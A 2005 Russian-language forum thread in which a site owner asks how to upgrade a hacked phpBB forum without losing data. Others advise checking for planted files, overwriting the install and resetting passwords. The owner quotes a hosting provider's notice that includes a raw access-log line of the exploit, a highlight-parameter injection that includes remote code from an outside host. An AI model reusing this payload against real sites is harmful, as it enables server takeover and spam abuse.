Уйти от дыр и поставить последню версию без потери данных...

2k · Сообщение 2k » 14.11.2005 8:29

Здравствуйте!
Пришло такое мыло:

Ваш сайт был взломан из-за дыры в непроапдейтенном форумном phpBB и использовался для рассылки спама, при этом забирая все ресурсы сервера. Строка взлома приводится ниже:

65.75.164.10 - - [14/Nov/2005:04:49:49 +0500] "GET /forum/viewtopic.php?p=181&highlight=%2527.$poster=include($_GET[m]).%2527&m= http://www.what-a-pair.com/phpbb2_patch?& HTTP/1.0" 200 7567 "-" "Mozilla/4.0"

Мы были вынуждены заблокировать Ваш аккаунт.

Пожалуйста, приготовьте все апдейты и обратитесь к администратору с просьбой разблокировать сайт - при условии немедленного апгрейда кода phpBB.

Теперь мне бы хотелось поставить туда же последнюю версию форума и при этом не потерять базу данных.
И ещё: в последнее время порядка 1000 пользователей регистрировались - как спамщики... Как избавиться от их регистрации?
Заранее спасибо!

Сообщение **Mr. Anderson** » 14.11.2005 8:44

2k
Мда, вероятно, поиск для вас - вещь неподъемная. Сделать пару движений мышью - вообще невозможно.

В общем - велкам в мою подпись...

Сообщение **Xpert** » 14.11.2005 9:14

Перед апдейтом необходимо обязательно проверить все файлы нынешнего форума на наличие вредоносных файлов.

2k · Сообщение 2k » 14.11.2005 9:39

Xpert писал(а):Перед апдейтом необходимо обязательно проверить все файлы нынешнего форума на наличие вредоносных файлов.

А подробнее можно?

Сообщение **Xpert** » 14.11.2005 9:41

Сравниваете содержимое нового дистрибутива с тем что есть у вас, смотрите что лишнее. Я так понимаю спам с вашего хостинга ведь не просто так отсылался...

2k · Сообщение 2k » 14.11.2005 16:26

Mr. Anderson писал(а):2k
Мда, вероятно, поиск для вас - вещь неподъемная. Сделать пару движений мышью - вообще невозможно.

В общем - велкам в мою подпись...

F shearer

А я правильно понимаю, что при резервном копировании базы можно снести форум, поставить на чистое место новую версию и потом воспользоваться восстановлением базы?

crash · Сообщение **crash** » 14.11.2005 16:29

2k писал(а):А я правильно понимаю, что при резервном копировании базы можно снести форум, поставить на чистое место новую версию и потом воспользоваться восстановлением базы?

скажу больше, для этого не обязательно сносить базу

2k · Сообщение 2k » 14.11.2005 16:32

crash писал(а):
2k писал(а):А я правильно понимаю, что при резервном копировании базы можно снести форум, поставить на чистое место новую версию и потом воспользоваться восстановлением базы?
скажу больше, для этого не обязательно сносить базу

А можете объяснить детально, что делать-то? Очень уж не хочется потерять содержимое форума

crash · Сообщение **crash** » 14.11.2005 16:35

2k
перезаписать все файлы, кроме config.php и запустить update_to_latest.php

2k · Сообщение 2k » 14.11.2005 16:38

crash писал(а):2k
перезаписать все файлы, кроме config.php и запустить update_to_latest.php

Класс! Спасибо!

crash · Сообщение **crash** » 14.11.2005 16:46

главное поменять все пароли пользователей

2k · Сообщение 2k » 14.11.2005 16:48

crash писал(а):главное поменять все пароли пользователей

Очень смешнО!:)

VVVas · Сообщение **VVVas** » 14.11.2005 16:52

2k писал(а):Очень смешнО!

Ничего смешного - всё очень даже серьезно

crash · Сообщение **crash** » 14.11.2005 16:55

2k писал(а):Очень смешнО!

посмеемся, когда вы придете в следующий раз с таким же вопросом

2k · Сообщение 2k » 14.11.2005 16:56

VVVas писал(а):
2k писал(а):Очень смешнО!
Ничего смешного - всё очень даже серьезно

Мда... И правда.. Не очень хорошо получится, если они у кого-то сохранились...
Скажите, а можно каким-либо образом удалить сразу 500 зарегистрированных пользователей? Не каждого по одному, а сразу много? Может какая-то утилитка для этого существует?